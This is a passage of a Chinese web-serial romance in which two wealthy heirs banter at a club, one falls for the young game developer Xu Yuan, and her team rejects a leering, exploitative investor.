黎云笙心里也不清楚自己到底是在可惜什么,是可惜自己跟温栩栩做了什么却什么都不记得吗? 好像的确会有些烦躁。 他也很想知道温栩栩亲起来是不是真的那么诱人,是不是真的能嗅到她身上的果香。 黎云笙握紧手机,手机在掌心发烫,发出第一条消息时他刻意用了最冷淡的语气: 【黎云笙】:人呢。 那边没回。 行,真的能耐了。 黎云笙将那张揉皱的字条又展平了些,指节因用力泛出青白。 纸上的字迹是温栩栩潦草写下的“嫩黄瓜”,此刻看着只觉得刺眼,终究还是将纸团塞进了西装内袋。 包厢门被敲响时,他正倚在沙发边缘,晨光透过落地窗斜斜切进房间,在他眼底投下细碎的光斑,整个人笼在宿醉后的倦怠里。 包厢门被敲响他还当是华庭这边的工作人员,他眼皮都没抬,只淡淡吐了句“进来”。 结果迎面对上的是盛景炎那双含着笑意的桃花眼,眼角微微上挑,斜倚在门框上活像只晒足了太阳的狐狸。 黎云笙捏了捏突突跳动的眉心,喉间溢出一声嗤笑:“你是真的很爱看热闹,你总不会一晚上没回去。” 盛景炎进门,身后跟着工作人员带了早餐进来,但看到地上散乱的衣物也当没看到。 工作人员手脚麻利地收走了桌上残留的酒杯餐盘,连地毯上的酒渍都迅速清理了。 盛景炎挥挥手让他们退下,工作人员收走了桌上的餐盘整理干净后立刻离开,生怕听到两位少爷聊点自己不该听不配听的。 包厢门重新闭合时,他晃到沙发旁坐下,长腿交叠,指尖有一搭没一搭地叩击扶手:“回去也是孤家寡人,哪比得上这儿有现成的戏看?” 黎云笙有时候真想问问自己到底为什么会跟这些混蛋当朋友呢?一个个的全都这么八卦,盛景炎更是重量级把自己当乐子看了。 啧,更烦躁了。 “你总这么嫌弃我,你是真不想知道昨晚发生了什么?”盛景炎笑眯眯,愈发像懒懒散散冒着坏水儿的红毛狐狸了。 好在盛景炎也没等黎云笙开口,自顾道:“昨晚你喝醉了酒,一定要下去找温栩栩为她为什么不肯上来,等把人带上来,又嫌弃温栩栩跟韩城关系太好,见韩城要投资她的网剧你就直接掏了黑卡给她。” “真是为了温栩栩一掷千金啊。” 盛景炎还在这边笑,笑意明显有点坏。 黎云笙轻微皱眉,昨晚喝酒头有点晕,他去洗漱清理了一番,到现在了才发现自己身上的衣服是被换过的,是谁换的大概可以想象得到。 所以昨晚温栩栩是该看的不该看的全都看了? 黎云笙被这话刺得眉心拧得更紧,甚至觉得喉咙有点痒了。 他抬手扯松领带,衬衫领口露出几道暧昧的红痕,此刻在晨光下格外显眼。 那些痕迹让他想起昨夜某些零碎的画面,温栩栩泛红的耳尖抵在他下巴,指尖攥着他衣襟的力道,还有她身上那股清甜的柑橘香混着酒气钻进鼻息……烦躁感如潮水漫上心头,他喉结滚动,嗓音沙哑:“黑卡她收了吗?” 盛景炎觑着他的神色,笑得愈发狡黠:“收了啊,你亲手递过去的,她能不收?不过……”他故意拖长尾音,见黎云笙指尖倏然攥紧,才慢悠悠补了句,“不过她当时那眼神,倒像是看着块烫手山芋,接得挺勉强。” 勉强也是收了没退回来。 黎云笙心情好了点,起码这代表温栩栩不止收了韩城的钱,还收了他的钱。 盛景炎也猜得到他这会儿得意的劲头是哪里来的,也是栽到温栩栩身上了。 也行吧,他这兄弟就是没吃过爱情的苦,他还挺想看黎云笙为了爱情撕心裂肺的。 虽然撕心裂肺不至于,但总会有点好戏能看看。 盛景炎蹭着黎云笙的早餐吃,刚给自己斟了杯茶,茶盏还未送至唇边,包厢门便再度被推开。 华庭侍者端着银盘躬身而入,盘中青翠欲滴的物事让他动作一顿。 工作人员端着的托盘里是一盘新鲜水嫩的黄瓜,还不是那种有点粗短的水果黄瓜,而是那种一看就新鲜摘的各个方面都很有分量还带刺的黄瓜。 绝对是新鲜摘下的嫩黄瓜,根根笔直饱满,表皮还带着清晨的露珠与细密尖刺。 盛景炎:“?” 怎么个意思? 黎云笙警惕。 “这……”盛景炎端着茶盏的手悬在半空,喉间溢出一声困惑的疑问。 侍者礼貌微笑:“黎少,这是温小姐特意为您准备的。我们华庭从未有过单独上整根黄瓜的先例,但温小姐说您定会喜欢。” 黎云笙正慢条斯理切着盘中的烟熏三文鱼,闻言刀刃在瓷盘上刮出细微声响。 黎云笙:“……” “噗……” 黎云笙还没反应呢,盛景炎那个满脑子黄色废料的人一口茶水就喷出来了。 温栩栩给黎云笙叫的? 那这黄瓜…… 盛景炎表情古怪:“阿笙,这黄瓜正经吗?” 盛景炎尾音拖得老长,目光在黄瓜与黎云笙之间来回打转。 第995章 许愿和盛景炎 对于盛景炎的问题,黎云笙没答,只将餐刀“啪”地拍在案上。 刀刃震颤的嗡鸣中,他忽觉昨夜醉后那些模糊的片段又在脑内翻涌,温栩栩指尖掐着他腰侧时低低的喘息,她耳尖那抹艳红,还有她身上若有若无的果香…… 黎云笙顿了下开口。 “黄瓜正经不正经我不知道,但你肯定不正经。”黎云笙抬眸看他一眼,显然想赶客了:“吃完没,吃完赶紧走人。” 盛景炎哼笑一声,也猜到他这是有点“欲求不满”,他也不走,黎云笙倒是没再赶人,只是用过餐还特地让人把那根黄瓜用礼盒装起来后填了个地址送过去。 稍微一猜就知道是送给温栩栩的。 真是你来我往。 换做以前黎云笙可没这么幼稚,但怎么一遇到温栩栩就显得有那么点降智呢。 盛景炎与黎云笙并肩走出包厢时,后者仍保持着那副吊儿郎当的散漫姿态。 他指尖夹着半截未燃尽的雪茄,银质打火机在掌中漫不经心地旋转,倏然间眸光微凝,似被某种无形的丝线牵住了视线。 迎面走来的两男一女实在相貌过于优越,为首的白西装男人如墨玉雕琢般温润,面容是江南烟雨浸润出的儒雅,眉梢眼角皆含着书卷气的柔和。但是总给盛景炎一种像是韩越那种类型的腹黑错觉。 而右侧那位酒红色衬衣的男人更是令人过目难忘。他生得一副近乎妖冶的精致五官,肌肤胜雪,鼻梁如琢,唇瓣薄而潋滟,偏偏那双眼睛却是淬了寒铁的英气,瞳仁漆黑如渊,睫毛翕动时竟似有剑气流转。雌雄莫辨的艳丽中透出凛然,像是将牡丹的华美与松柏的傲骨诡谲地熔铸于一体,连领口处随意散开的纽扣都透出股子漫不经心的挑衅。 而两个男人之间的女人他不过是看过去一眼便被她的容貌所吸引。 那是一种带着冷冽的明艳,像是一株开在高山之巅的花朵,是那种在一片荒芜雪原开出的最鲜艳的明丽的花。 盛景炎眸光深了几分,只觉得对方冷白肤色在暖色吊灯下泛着玉瓷般的光泽,乌发如瀑垂落,发梢却倔强地泛着微微赤色,像是极寒之地突兀绽放的彼岸花。 那种美是带着蚀骨的危险性,艳丽得近乎暴烈,却又被一身凛然气质死死压住,如同雪山巅最孤傲的红梅,任风雪如何撕扯,始终保持着近乎残酷的优雅。 很美。 盛景炎脚步慢了些许,路过对方时能嗅到对方身上带着的淡淡的香气,只是清润的皂荚香味儿。 盛景炎喉结无意识滚动,竟生出一种被雪刃抵喉的颤栗感。 明明只是最素净的香气,却像掺了烈酒,直将人神魂烧得发昏。 黎云笙已经往前走了几步,结果就见盛景炎停下脚步,他回头望去,盛景炎正怔怔望着方才三人消失的方向,唇角叼着的半截雪茄竟忘了点燃,烟灰在指尖簌簌坠落。黎云笙眉峰微蹙,顺着他的视线望去。 “你在看什么?” 黎云笙开口。 盛景炎这才如梦初醒,喉结滚了滚,缓过了神,眸光微微闪了下。 “刚才那个女人你见过吗?是帝城名媛圈的?我怎么从没有见过?” 黎云笙轻微皱眉看过去,对方才推开包厢的门,似有所感的转身瞥了眼,黎云笙完完全全对上了那张漂亮的脸。 对方似是眉梢微微挑了下,只轻飘飘的看他一眼,目光便落到盛景炎身上,顿了下才垂下眼进了包厢。 很漂亮很有气质甚至……他能感觉到对方年纪很小,但就是自带气场和压迫感。 可不知道为什么就是很不爽。 看到对方就有些烦躁,跟面对温栩栩情愿被她戏弄的烦躁不同,他对那女人的烦躁是带着点莫名其妙的嫉妒和醋意。 他自己都猜不透为什么会这样。 “不认识,没见过。”黎云笙嗤道:“你当圈子里什么小猫小狗我都能认识的?” 盛景炎摁灭了烟,忽地倚上墙,慢条斯理拆了根草莓味棒棒糖塞进嘴里。 糖纸在指尖发出清脆的裂响,他咀嚼时腮帮鼓动,目光却如捕猎的鹰隼,直直钉进黎云笙眼底。 “你不能这么说她。”他含糊道,舌尖抵着甜味,喉间却泛起奇异的酸涩。 黎云笙:“?”发癫? 盛景炎倚着墙慢条斯理:“坏了,我有点喜欢她,一见钟情你知道是什么感觉吗?大概就是你对温栩栩那样。” “?”黎云笙蹙眉反驳,“谁对温栩栩一见钟情了!” “嘴硬。”盛景炎才不给他这面子。 黎云笙眼神又暗了几分,盯着盛景炎看了几秒,好半晌才轻啧一声。 他对温栩栩才不是一见钟情……起码第一次见到温栩栩的时候他是没有任何感觉的,那才不是一见钟情。 肯定是温栩栩本人会下蛊,千错万错都是温栩栩的错,对,就是这样。 …… “阿愿,你刚才在看谁?是那位黎家少爷还是那位盛家出了名的二世祖少爷?”薛酒进了包厢就有点不适的扯了扯领带,等会儿要去见客户,薛酒这才换了正装,不然他才不会穿的这么正式 他望着镜中一身笔挺正装的自己,眉峰微蹙。 这西装是临去见客户前匆忙换上的,平日他最厌烦这种束缚感。 盛景炎方才遇到的就是陆斯年,许愿还有薛酒。 其实这个世界说白了就是黎云笙的脑内世界,他的世界会有盛景炎,韩城韩越,那就不可避免的会出现黎云笙误以为的“宿敌”许愿。 温栩栩十八岁,许愿也才十八岁。 十八岁的许愿正在跟陆斯年和薛酒创业,现在的盛华还只是一个空壳。 黎云笙脑补受伤需要温栩栩运用全息连接他的大脑。 其实正常情况下如果他脑内生成的世界观是同时有温栩栩和许愿,那她们按照原本的走向,本该还是好姐妹,或者说温栩栩最初应该被许愿救走,但黎云笙真的很忌惮许愿,一直在吃许愿的醋。 所以才有了另一种可能。 第996章 我嘴贱啊 因为对他来说,但凡许愿单身没有喜欢的人,温栩栩都有可能荤素不忌不管许愿是男是女都要追求一番。 所以在黎云笙脑内,温栩栩和许愿现在根本不认识,就像是还没有相交的平行线。 都受伤了还能这么忌惮许愿,也确实是能人了。 可见在黎云笙心里许愿对他造成了多大的威胁。 许愿倒了杯红茶喝了口,现在还能想起盛景炎那英俊桀骜的眉眼,心跳仿佛都跟着慢了几拍。 “我在看盛景炎,我就是在想那位少爷手里应该有不少钱可以拿来投资我们。”事实上许愿第一时间想的不是投资,她也不知道怎么了,为什么目光会停留在对方身上。 按道理来说,她的目光只会停留在傅京礼身上才对。 可不知道为什么,在对上盛景炎的时候,会短暂的忘掉傅京礼。 很奇怪,但意外的……不讨厌。 陆斯年有些谨慎:“盛景炎的身份比较特殊,他应该是很有钱,我知道的资料中盛景炎是盛家的二少爷,上面还有个嫡亲的哥哥,他是盛家二子,兄长早年车祸致残,盛景炎又被养废了,家族势力早被削半。” “外界传闻他浪荡成性,红颜无数,可内里却是母亲留下的巨额遗产护着。盛家老爷子在外面养了私生子盛三,虎视眈眈盯着盛世集团,若论继承权……现在都在猜盛世会被盛景炎的父亲留给他外面的私生子盛三。”他忽然顿住,瞥见许愿怔忡的神色,“阿愿,盛景炎是带毒的玫瑰。” “盛景炎有钱归有钱,但盛景炎绝对是个混不吝二世祖,阿愿你还是离他远一些为好。” 许愿忆起方才看到那人时对方那双桀骜却又仿佛盛满了星光的眼眸。 那人眼底的星光并非虚妄,倒像是困兽在荆棘丛中燃起的最后一簇火苗,那不是一个浪荡子该有的眼睛。 “好了,斯年哥哥我们不提他了,不是要提拉投资的事吗,应该再过几分钟对方就会到场了。” 见许愿提及正事,陆斯年也没再说盛景炎,反倒是薛酒笑吟吟的看着许愿,似是遇到了什么好玩儿的事一样。 盛景炎当然不知道自己在许愿这边是个什么形象,他像是寻到了猎物,根本没想走。 自顾的坐到走廊外的休息长椅上,大抵是因为盛景炎身份摆在这里,他做到这里经理还特地命人搬了餐桌上了茶点伺候着少爷。 要不说华庭的经理人脉圈广呢?就是会做人。 黎云笙看着他发癫,忍不住皱了下眉。 盛景炎笑眯眯的在他餐盘里面放了块点心,一副哥俩好的模样。 黎云笙:“……” 实在是不知道盛景炎葫芦里面到底卖了什么药,真的好奇。 总不能真像盛景炎说的那样对那个女人一见钟情了。 这有点可笑。 黎云笙皱眉:“你来真的?” 盛景炎抬手给自己斟了杯普洱,茶汤浓酽如琥珀,却被他喝出酒似的肆意:“不然你猜猜看我是不是来真的?”尾音拖得轻佻,像是玩笑又不像。 黎云笙表情严肃。 显然,作为跟盛景炎关系最好的兄弟,黎云笙当然知道盛景炎跟那些女人都是逢场作戏,实则拥抱都是很少的,为的就是麻痹他的渣男父亲。 但现在显然有点不对劲儿了。 他可不会为了谁这么浪费时间,还坐在华庭的长廊外。 就为了等会儿第一时间看到那女人? 到底是他疯了还是盛景炎疯了? “你没看到她身边有两个男性,大概其中之一就是她的男朋友或者未婚夫,你没戏。”黎云笙泼他冷水。 盛景炎喝了口茶回应他:“不会是男朋友或者未婚夫的关系,他们之间很清白,男人看女人的眼神是不是带有爱意我还是能分得清的。” 说到这里,盛景炎很轻的笑了一声。 “就像你,你看温栩栩的眼神就很不清白。” 黎云笙唇角轻抽了下,此刻并不是很想理盛景炎了。 他就知道盛景炎嘴里不会有什么好话。 “你喜欢就喜欢,提我做什么。”黎云笙怼他。 盛景炎弯着眼睛:“我嘴贱啊。” 他还挺得意。 黎云笙呵了一声,已经有人从电梯出来,看到两人笑呵呵的打了声招呼才去了许愿所在的包厢。 盛景炎单手支着下巴歪了头,指节漫不经心地叩击椅面:“我没记错的话这个人似乎是一个挺不要脸的人?最喜欢的就是强占那些小工作室的项目,不卖项目就会挖走对方整个项目工作室的……败类?” “嗯,是他。”黎云笙提到这人眼神明显也暗了几分。 “啧,怎么跟这种败类扯上关系了,需要投资不是可以找我?”盛景炎皱眉。 “……”黎云笙唇角抽了下:“醒醒,她现在都还不认识你。” “可以认识一下。”盛景炎看他一眼轻笑一声:“如果他们出来后脸色不对,那我可能就要毛遂自荐了,毕竟我现在别的不多,就是钱多呢。” “有病。”黎云笙终是没忍住,喉头滚出这两个字。 盛景炎耸肩:“是啊,我有病,你不是也有病?黑卡都给出去了,还装什么柳下惠?我们两个半斤八两。” 黎云笙:“……” 黎云笙沉默了。 这都算什么事! 可偏偏又没得喷,他确实是给了温栩栩黑卡,也确实是有了反应。 …… 包厢内。 李辉笑呵呵的进了包厢,看到坐许愿时眼睛明显亮了下,显然对她们提到的项目,李辉似是更在意许愿,像是贪婪的鬣狗盯上了自己的猎物,好像随时都可能冲上前撕咬自己看中的猎物。 许愿能敏锐的感觉到对方看自己的眼神很古怪,像是试探像是打量,那绝不是多礼貌的眼神。 像是完全把她看做了能够交易的物品。 许愿皱眉,握着茶杯的手紧了几分。 薛酒显然也感受到对方的傲慢,也看到李辉眼神直勾勾的盯着许愿看,当下便已经恼恨起来,直想冲过去一拳狠狠砸到对方脸上。 许愿皱眉,制住冲动的薛酒,然后勉强的笑了笑。 “李总,久仰。” 第997章 做你的青天白日梦 李辉的目光直勾勾的落在许愿的脸上,他确实没有见过这么漂亮的女人,明明很青涩却又美的几乎颠倒众生,皮相骨相都是顶尖的那种美。 李辉只觉得许愿青涩如枝头未熟的杏,却又美得惊心动魄,眉骨线条如工笔勾勒,下颌弧度似月弯刀裁,连睫毛颤动时投下的阴影都带着某种惊世的精致。 这哪是程序员该有的模样? 他暗自嗤笑,心里那股子“女人搞技术不过是哗众取宠”的偏见又翻涌上来。 许愿能清晰感受到对方目光里的黏腻与轻蔑,像被蛇信子舔过脊背。这圈子的规则她早摸透了。 谈合作的男人,多数人看到她都会是这种眼神。 她已经习惯了。 “这就是许小姐吧,果然是漂亮,真难以想象许小姐能编出这种优越代码,许小姐设计的这款游戏对标的是哪款游戏呢,方不方便介绍一下。” 李辉的笑意浮在嘴角,没渗进眼睛,他逼近半步,西装领口的香水味刺得许愿鼻尖发痒。 她后退时高跟鞋在地毯上碾出细微声响,脸上的笑意却淡了几分,很明显她已经完全感觉到对方对她的轻视。 对方是因为她的性别因为她的相貌。 女性就是有这点不好,太漂亮了会被骚扰,太普通了会被看不起,这个社会就是这样,女性就是处于弱者地位,这是大家都知道的事实。 李辉脸上的笑顿时裂了缝。他最烦女人不识抬举,尤其漂亮女人,给点脸就端架子,仿佛真当自己不只是靠脸吃饭。 他盯着许愿又看了几秒,似是对合作都没多大兴致了。因为他们太年轻才会被这样忽视。 他目光蛇似的滑到薛酒脸上,这人更绝,剑眉星目,鼻梁挺得像雪山脊,唇线薄而锋利,却偏生了一双桃花眼,妖气与冷冽混在骨子里。长成这样的男人可不多,反正李辉整天见娱乐圈那群男明星也没见过有薛酒这相貌的。 这么漂亮……再看陆斯年,轮廓如雕塑,气场沉得像深海……这三张脸搁娱乐圈都得掀浪,这还做什么游戏谈什么项目啊,直接出道赚的不是更多吗? 这圈子是有双性恋的,不巧李辉就是一个。 此刻又是看许愿又是看薛酒陆斯年的,只觉得满足,那眼睛里面的欲念都快要漫出来。 李辉的双性恋癖好此刻被彻底勾起来。 他眼珠在三人间来回打转,仿佛鉴赏三件稀世珍宝。 三个人每处细节都在他脑子里烙成色情代码。 这圈子乱,他玩过男也玩过女,但一次见三个顶尖美人凑一堆,还是头回。欲望在腹腔里胀成气球,他下意识舔了舔唇,舌尖尝到一丝腥味——是嫉妒,嫉妒这三个年轻人凭什么用长相就能让他卑躬屈膝谈项目。 薛酒的手指关节在掌心咯咯作响,几乎要按捺不住胸腔里翻涌的怒焰。陆斯年及时按住他绷直的手腕,低声劝了两句,他才勉强将拳头松开。 许愿仍维持着得体的微笑,但笑意已褪至唇角薄薄一层。 她条理清晰地讲解游戏架构,开放世界的地图设计、动态光影渲染技术、支持万人同服的服务器架构……屏幕上的美术界面流光溢彩,人物建模的每一缕发丝都带着物理模拟的真实质感。 李辉起初还倚在椅背上百无聊赖地晃腿,此刻却渐渐直起身,目光如探照灯般扫过每一帧演示画面,喉结滚动着吞咽贪婪。 许愿做的是一款可以联机拥有大世界观的端游,现在能够拿出的美术界面和人物设计都让对方眼前一亮。 能混到这岁数的肯定不是傻子,很清楚许愿这款游戏只要做好了绝对能爆火,甚至可能力压海外那款枪战游戏。 他眼底的光已从轻视转为炽热,仿佛看见钞票在眼前垒成山。 但贪婪的底色未改分毫,他瞥向陆斯年三人年轻的面孔,心底的算盘打得噼啪响。 主创团队不过三个学生,经验浅、资金缺,正是趁虚而入的好时机。李辉其实觉得他们并不懂行情,打算忽悠她们签个买断协议,一次性把游戏买过来。 这主创开发团队现在就这三个人,只做了前期的一些世界观和人物模型,他心里把价格又往下压了一压,心中有了成算才看向陆斯年,笑道:“你们这款游戏的确是很有意思啊,不过要真的做起来可能还需要招不少建模师主笔还有画师以及维护的程序员,这后期可都是大笔大笔的资金,恐怕不是个号做的项目。” “许小姐才上大学吧。”李辉笑着问了句。 许愿淡淡的应了一声。 李辉端起茶杯抿了一口,茶渍在杯沿留下油腻的印子,与他话里的虚伪如出一辙:“我看你们也不容易,这样吧,我一人给你们一百万,游戏版权打包卖给我。这可是良心价,换成别人,大学生创业项目连五十万都拿不到!” 事实上真要有良心的人谈这个,最少也要给一千万,李辉这报价连三分之一都不到,明摆着是糊弄他们年轻。 他眯眼打量薛酒暴起的青筋,自以为拿捏住了年轻人的软肋:缺钱、心急、没资源,还当随便忽悠两句,这块肥肉就能到手。 李辉面上表情贪婪,显然打算靠着这个游戏大赚一笔却不想付这个钱。 “做你的青天白日梦!”薛酒终于忍到临界点,猛地拍桌起身。椅腿在地毯上刮出刺耳的摩擦声。 薛酒愤怒:“这款游戏上线能推广做到位绝对能大赚,你现在想一人一百万买断?觉得我们年轻好骗?你当我们是傻子?上一个投资商还开出一人三百万!你倒好,直接砍半还多!还假惺惺说我们不容易?我看你也不容易,脸皮厚到刀砍不进,这大热天的,你怎么没被自己的不要脸热死憋死!” 他胸膛剧烈起伏,指节因攥紧而发白。陆斯年暗叹一声,早料到薛酒会爆发,却没想到火力如此凶猛。 李辉被骂得面红耳赤,茶杯“砰”地砸回桌面,溅出的茶水濡湿了合同文本:“你们年轻人怎么说话这么冲!不识好人心!” 第998章 她的头号追求者 薛酒本来脾气就爆,今天李辉又是盯着他们用那种色眯眯的眼神看来看去,现在还打算占这么大的便宜。 他是忍不了一点了,甚至想现在就冲过去给他一拳。 李辉脸色冷了,他在帝城虽然算不上是大家族的,却也小有人脉,且做过不少小游戏,现在这年轻人不过有几分紫色就对自己这般无理,真当他自己是个人物了? 李辉看着笑吟吟,但眼底已经全都是冷意。 “给你们钱是给你们面子,你们这游戏本质上也没有多好,还需要投入不少资金,你们不需要承担风险自然觉得没什么,但我们可是需要承担风险的。” “既然你们觉得一百万太少,那就两百万,你们自己也清楚,你们来拉投资就是资金不够不是吗?” 薛酒拳头攥得骨节发白,几乎要冲破陆斯年按住他手腕的桎梏。 李辉那色眯眯的目光早让他火冒三丈,此刻又听见对方轻飘飘将他们的血汗贬得一文不值,怒意彻底冲破理智的闸门。 “两百万?你当我们是叫花子来讨饭的?!”薛酒“砰”地拍桌,实木桌面震得茶盏跳起半寸,溅出的茶水在合同上洇出褐色的疤痕。 他三步跨到李辉面前,“你那些破小游戏加起来都没我们一个关卡值钱!还敢在这装大爷?” 李辉被这雷霆般的爆发吓得后仰,椅背撞上墙面发出闷响。 他面色青白交错,在帝城混迹多年,何曾被人这般当众羞辱? 但瞥见薛酒眼底翻涌的戾气,终究不敢硬碰硬,只扯着嘴角冷笑:“年轻人火气倒不小,不过冲动可要付出代价,这圈子人脉为王,得罪我,你们以后别想再拉到投资!” 陆斯年眉峰骤拧,许愿攥紧了演示文稿的边缘,指尖泛白。 薛酒却浑然不惧,反而嗤笑出声:“你算哪门子王?不过是个钻空子的蛀虫!我们游戏有千万级流量预定,海外巨头都在抢合作,你这种垃圾也配拦我们的路?” 他猛地扯过合同,“哗啦”撕成漫天碎纸,雪片似的残页纷纷扬扬落在李辉惊愕的脸上。 “滚吧!我们宁愿自己砸锅卖铁,也绝不让畜生染指半分!”薛酒胸膛剧烈起伏,吼声在包厢内回荡。 李辉仓惶逃窜时撞翻了茶杯,褐色的茶水泼溅在地毯上,洇出一片难堪的污渍。 他佝偻着背落荒而逃,背影活像被戳破的脓包,狼狈模样让薛酒胸腔的怒火稍稍平息,却仍余怒未消,拳头攥得指节发白。 李辉仓惶逃窜,薛酒气的胸腔不停起伏。 许愿倒了杯水,也不觉得薛酒这么做有什么不对。 倒是陆斯年叹气。 “薛酒,你太冲动了。” 陆斯年望着满地狼藉的纸屑,眉间沟壑更深。 他何尝不恨李辉的贪婪? 可现实如荆棘缠身,若再无资金注入,团队苦心搭建的代码框架,那些熬了数百个日夜的创意,终将沦为泡影。 薛酒张了张嘴想反驳,却被许愿的笑声截断。 “斯年哥哥觉得小酒是莽撞吗?我倒觉得痛快。”许愿指尖摩挲着陶瓷杯沿,眼底闪过冷意,“那位李总从进门起,眼睛就黏在我们身上,代码、创意、甚至我们的人……他哪样不想占为己有?这般腌臜心思,撕碎了合同倒干净。这种人……小酒就算是真的动了手,我觉得错也不再小酒。” 听到许愿这样说薛酒心里才好受了几分,但还是气不过。 还是他们现在太弱了,所以随随便便什么人都能踩在他们头上羞辱。 事实上陆斯年不是没钱,他有一部分钱,但钱不够多,撑不起后续投入,所以才需要找人合作,可哪知道现在见过的这些人全都想直接买走创意买走代码和数据。 说白了,还是看他们年轻没有背景。 如果当年陆家没有破产,陆斯年还是陆家少爷,现在怕是不知道多少人求着来合作,更甚至他不需要跟这些人合作,自己就能把项目完全扛起来。 李辉仓惶的逃跑,盛景炎还在品茶,低头看了下时间,刚刚好二十分钟。 盛景炎慢条斯理地抿了口茶,茶水舌尖绽开的清苦滋味让他眯起了眼睛。 呦,这么狼狈的跑出来,一看就是没谈拢啊。 盛景炎心道,也不可能谈拢。 李辉这狗东西本就没良心,还是个色胚子,他刚才只瞥了一眼就知道那三个人相貌都是顶尖的,这人别说真的想合作了,估计心里已经给他们标上价码,不仅想抢东西还抢人了。 这是帝城,什么脏的臭的都有。 盛景炎见人跌跌撞撞的出了包厢门后才站定整了整衣服,又装出一副大老板姿态。 路过盛景炎和黎云笙的时候正要称呼一句“盛少”“黎少”,可他尚未开口唤出,一只擦得锃亮的鳄鱼皮鞋便突兀地横在他面前。 重心失控的瞬间,他整个人重重摔在地上,昂贵的定制西装沾满灰尘,领带歪斜地垂在颈侧。 李辉都有点傻了,像是在愣神,盛景炎也不道歉,慢条斯理的喝了口茶,只觉今天这茶味道是真不错。 品了茶目光才悠悠的重新移到李辉脸上。 “知道刚才跟你谈合作的女人是谁吗。” 盛景炎歪头笑了,只是笑容中带着点恶意。 李辉怔住。 没听说过许愿跟盛景炎有关系啊。 李辉吞咽了下口水,就听盛景炎还是那副含笑的模样,却是冰冷的一脚踩到他的背上,由着人就着方才摔倒的姿势趴在地上,真个人活像是一个狼狈的大青蛙。 “我是她的头号追求者,或许未来的某一天你会看到她成为盛太太……所以,知道该怎么做了吗。” 盛景炎这话是在威胁。 他太清楚李辉是个什么垃圾东西,想要的事不择手段也要得到的程度。 这人好美色,许愿这几人个顶个的高颜值,却又身后没有庇护,所以李辉会生了这种心思也在所难免。 盛景炎说这话就是明示李辉,许愿是他的人,想抢她的东西,想骚扰她,也要先看看他肯不肯让不让同意不同意。 第999章 开屏的雄孔雀 李辉不是傻子,怎么可能听不懂盛景炎的画外音。 盛景炎竟然也瞧上许愿了? 是…… 许愿长成那副模样,瞧不上她才是眼睛有问题。 冷汗顺着李辉的鬓角滑落。 他怎会不知许愿的惊世容貌?那三人站在谈判桌前时,他早已在心底为她们标好了价码。 他在帝城什么样的腌臜手段没见过?可盛景炎的权势远非他能抗衡。此刻背上传来的压迫感让他呼吸艰难,仿佛连求饶的话都哽在喉间。 不过既然盛景炎只是瞧上许愿,那薛酒和陆斯年是不是…… 李辉心里想的就有些太脏了,盛景炎眸光深了几分,他面上含笑,茶杯中的半杯茶水只泼到对方脸上。 “收起你那肮脏的心思,别想着碰他们,听明白没有。” 盛景炎慢条斯理地抽出丝帕擦拭指尖,仿佛刚才泼出去的不过是杯脏水。 李辉狼狈地抹着脸,西装领口浸湿的茶渍使他看着狼狈至极。 他这才彻彻底底明白,盛景炎是将他们拉入自己的保护范围了。 外界皆知盛景炎虽非盛家名正言顺的继承人,却因交好黎家那位冷面阎王黎云笙,与韩家那位笑面狐狸韩越称兄道弟,在帝城权贵圈的地位虚实难测。 盛家三位继承人暗流涌动,可谁也不敢小觑这个看似玩世不恭的“二公子”。 现在看着盛三继承盛家的可能性最高,但未来的事情谁也说不准。 李辉惯会权衡利弊,美色虽诱人,却不及权势重要。 他挤出干笑,连连摆手:“盛少放心,绝对不敢再冒犯许小姐半分。” 李辉虽然好美色,但不会为了美色真的得罪盛景炎。 李辉干笑了几声,连连称自己绝对不会再去打扰几人。 盛景炎这才淡淡道:“滚吧。” 李辉如蒙大赦,连滚带爬地消失在走廊尽头,皮鞋踩过水渍的声音渐远。 黎云笙皱眉:“你掺进这件事做什么。” 盛景炎换了个杯子喝茶,似是觉得方才泼了李辉的杯子脏了。 盛景炎换了新杯斟茶,沸水冲开碧色茶叶的姿态闲适至极,仿佛刚才泼茶的动作不过是场戏。 他又笑起来:“你都给温栩栩黑卡了,你管我掺不掺进这件事了?” “我这人就是个混不吝,我就是好美色,我就是看她长得漂亮想追想讨好,这不是很明显的吗?就跟你对温栩栩一样。” 眼看着黎云笙又要嘴硬,盛景炎笑眯眯:“别杠,我才是对的。” “为温栩栩打脸馨雅的是你,给温栩栩介绍模特资源的是你,给她黑卡的也是你,别解释了。”盛景炎一脸我已经看透的模样。 “别说,温栩栩这招应该还挺有名的,以后这狗东西应该也知道对方是我的人,不敢再有那些脏心思了。” 黎云笙承认盛景炎这话说的确实如此,李辉知道对方是他的人,便不敢再生其它心思了。 “行了,时间也差不多了,我也要去会会她。” 盛景炎将杯中的热茶一饮而尽,他站起身看向黎云笙:“一起吗?” 黎云笙没这兴致,不过这镇子一直都是盛景炎看自己热闹,现在好不容易有点跟盛景炎相关的,他不看岂不是亏了? 这般想着,黎云笙索性也站起来吃瓜。 就是可惜韩城没在,如果韩城也在大概会很热闹。 盛景炎敲了包厢的门,薛酒还当是服务员送餐的,打开门就看到门外站着两个容貌俊美气质不凡的男人。 为首的一张桀骜渣男脸,桃花眼漂亮深情透着骨子狡黠味儿,而另一个男人浑身都透着冷淡之意,像是对什么东西都是淡淡的。 薛酒不记得他们跟这两人有什么交集,他皱了下眉。 “不好意思,两位找谁。”薛酒询问。 盛景炎半倚门框,他笑了笑,微微抬眸,目光却是轻缓的落到许愿身上,她正低头整理文件,侧脸轮廓精致漂亮。 盛景炎喉结微滚,笑意更深了。 他轻笑一声开口。 “我见你们约了李辉见面,所以猜测你们在寻求合作,不知道几位有没有兴趣跟我合作呢?我还是……很有钱的。” 说这话的时候目光是完全落在许愿身上的。 许愿对上他那双漂亮且深情的桃花眼心跳跟着停了半拍。 薛酒正要拒绝,许愿便开口:“小酒,让他们进来。” 听她喊“小酒”,盛景炎眸光闪了闪,脸上却还是带着笑意。 他丝毫不拿自己当外人走近许愿,直接坐到她身旁的位置,占据了方才薛酒的座位。 薛酒:“……”真不要脸啊。 薛酒磨了磨牙。 “那是我的位置。”薛酒不给他面子直接开口。 盛景炎却翘起二郎腿,指尖有一搭没一搭叩着沙发扶手:“弟弟火气别这么大,哥哥这不是诚心求合作么?”尾音拖得又长又黏,听得人耳尖发烫。 薛酒:“?”哪个是你弟弟? 黎云笙唇角抽了抽,对上薛酒看来的疑惑眼神选择沉默。 没办法,盛景炎有时候是挺癫的。 盛景炎贴近许愿轻笑一声:“你喊他小酒,是把他当弟弟吧,总不该是……恋人,对吗。” 许愿微微眯眸:“是弟弟或者是恋人有什么区别吗。” 盛景炎慢条斯理的笑了一声。 